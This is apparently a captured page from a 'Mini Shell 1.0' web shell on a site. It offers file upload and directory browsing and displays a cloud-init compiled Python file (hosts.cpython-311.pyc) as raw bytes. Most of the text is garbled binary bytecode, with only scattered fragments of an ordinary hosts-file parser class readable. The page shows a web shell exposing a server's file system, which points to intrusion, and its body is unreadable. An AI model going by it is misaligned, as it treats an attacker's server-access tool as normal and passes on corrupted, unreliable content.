HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/hosts.cpython-311.pyc
�

܍~c�
��8�ddlmZddlmZGd�d��ZdS)�)�StringIO)�chop_commentc�8�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	dS)	�	HostsConfc�"�||_d|_dS�N)�_text�	_contents)�self�texts  �A/usr/lib/python3/dist-packages/cloudinit/distros/parsers/hosts.py�__init__zHostsConf.__init__s����
������c�V�|j�!|�|j��|_dSdSr)r
�_parser	)rs r
�parsezHostsConf.parses+���>�!�!�[�[���4�4�D�N�N�N�"�!rc���|���g}|jD]H\}}|dkr=|\}}t|��r)|d|kr|�|dd����I|S)N�optionr�)rr
�len�append)r�ip�options�	line_type�
components�pieces�_tails       r
�	get_entryzHostsConf.get_entrysx���
�
������'+�~�	/�	/�#�Y�
��H�$�$�",�����v�;�;�/�6�!�9��?�?��N�N�6�!�"�"�:�.�.�.���rc�>�|���g}|jD]w\}}|dkr|�||f���#|\}}t|��r
|d|kr�Dt|��r$|�|t	|��f���x||_dS)Nrr)rr
rr�list)rr�	n_entriesrrrrs       r
�del_entrieszHostsConf.del_entries"s����
�
�����	�'+�~�		D�		D�#�Y�
��H�$�$�� � �)�Z�!8�9�9�9��",�����v�;�;�D�6�!�9��?�?����[�[�D��$�$�i��j�1A�1A�%B�C�C�C��"����rc��|���|j�d||gt|��zdff��dS)Nr�)rr
rr )rr�canonical_hostname�aliasess    r
�	add_entryzHostsConf.add_entry1sQ���
�
��������
��/�0�4��=�=�@�"�E�F�	
�	
�	
�	
�	
rc��g}|���D]�}t|�����s|�d|gf���<t	|���d��\}}t|��s|�d|gf����|�d|�d��|gf����|S)N�blank�#�all_commentr)�
splitlinesr�striprr�split)r�contents�entries�line�head�tails      r
rzHostsConf._parse7s������'�'�)�)�	A�	A�D��t�z�z�|�|�$�$�
�����$��0�1�1�1��'��
�
���c�:�:�L�T�4��t�9�9�
����
��v�6�7�7�7���N�N�H�t�z�z�$�'7�'7��&>�?�@�@�@�@��rc��|���t��}|jD]�\}}|dkr|�d|dz���*|dkr|�d|dz���O|dkr@|\}}d�|D��}d�|��}|�|�|�d�����|���S)	Nr)z%s
rr+rc�,�g|]}t|����S�)�str)�.0�ps  r
�
<listcomp>z%HostsConf.__str__.<locals>.<listcomp>Ns��1�1�1�Q�#�a�&�&�1�1�1r�	�
)rrr
�write�join�getvalue)rr/rrrr3s      r
�__str__zHostsConf.__str__Ds����
�
�����:�:��'+�~�		:�		:�#�Y�
��G�#�#����v��A��7�8�8�8�8��m�+�+����v��A��7�8�8�8�8��h�&�&�!+����1�1�&�1�1�1�����6�*�*�����6�6�4�4�4�8�9�9�9��� � �"�"�"rN)
�__name__�
__module__�__qualname__rrrr"r'rr@r6rr
rrs}���������5�5�5����
#�
#�
#�
�
�
����
#�
#�
#�
#�
#rrN)�ior�cloudinit.distros.parsersrrr6rr
�<module>rFsg��������2�2�2�2�2�2�B#�B#�B#�B#�B#�B#�B#�B#�B#�B#r